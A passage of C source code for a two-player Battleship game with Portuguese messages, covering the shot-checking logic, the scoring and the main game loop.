printf("\t%s, VOCÊ JÁ ACERTOU ESSA COORDENADA! ESCOLHA OUTRA!!\n", nome_j1); printf("===============================================================================\n"); verifica(v); } else { //verifica se o tiro foi na agua if(barcos2[x][y] == '~') { printf("\t\t\t%s - TIRO NA AGUA!\n", nome_j1); printf("===============================================================================\n"); tab2[x][y] = '*'; } else { //verifica se o jogador acertou if(barcos2[x][y] == 'X') { printf("\t\t\t%s - ACERTOU!!! \n", nome_j1); printf("===============================================================================\n"); tab2[x][y] = 'X'; pontos_j1 += 5; } } } } else if(v%2 == 1){ if(tab1[x][y] == '*' || tab1[x][y] == 'X') { printf("\t%s, VOCÊ JÁ ACERTOU ESSA COORDENADA! ESCOLHA OUTRA!!\n", nome_j2); printf("===============================================================================\n"); verifica(v); } else { if(barcos1[x][y] == '~') { printf("\t\t\t%s - TIRO NA AGUA!\n", nome_j2); printf("===============================================================================\n"); tab1[x][y] = '*'; } else { if(barcos1[x][y] == 'X') { printf("\t\t\t%s - ACERTOU!!! \n", nome_j2); printf("===============================================================================\n"); tab1[x][y] = 'X'; pontos_j2 += 5; } } } } } //funcao main int main(void) { memset(tab1, '~', 100); memset(tab2, '~', 100); memset(barcos1, '~', 100); memset(barcos2, '~', 100); srand(time(NULL)); int v = 0; boas_vindas(); posiciona_barcos(barcos1); posiciona_barcos(barcos2); //incia jogo para os jogadores, enquanto um dos jogadores não acerta os alvos com o menor numero de chances, o loop continua do { mostra_tab(); printf("\t\t\t\tVez de %s!\n\n\n", nome_j1); verifica(v); v++;//troca a vez de cada jogador mostra_tab(); printf("\t\t\t\tVez de %s!\n\n\n", nome_j2); verifica(v); v++; } while(pontos_j1 < 115 && pontos_j2 < 115); //verifica quem foi o ganhador do jogo if(pontos_j1 > pontos_j2) printf("O jogador 1 ganhou o jogo!!!\n"); else if(pontos_j2 > pontos_j1) printf("O jogador 2 ganhou o jogo!!!\n"); else printf("O jogo empatou!\n"); return 0; }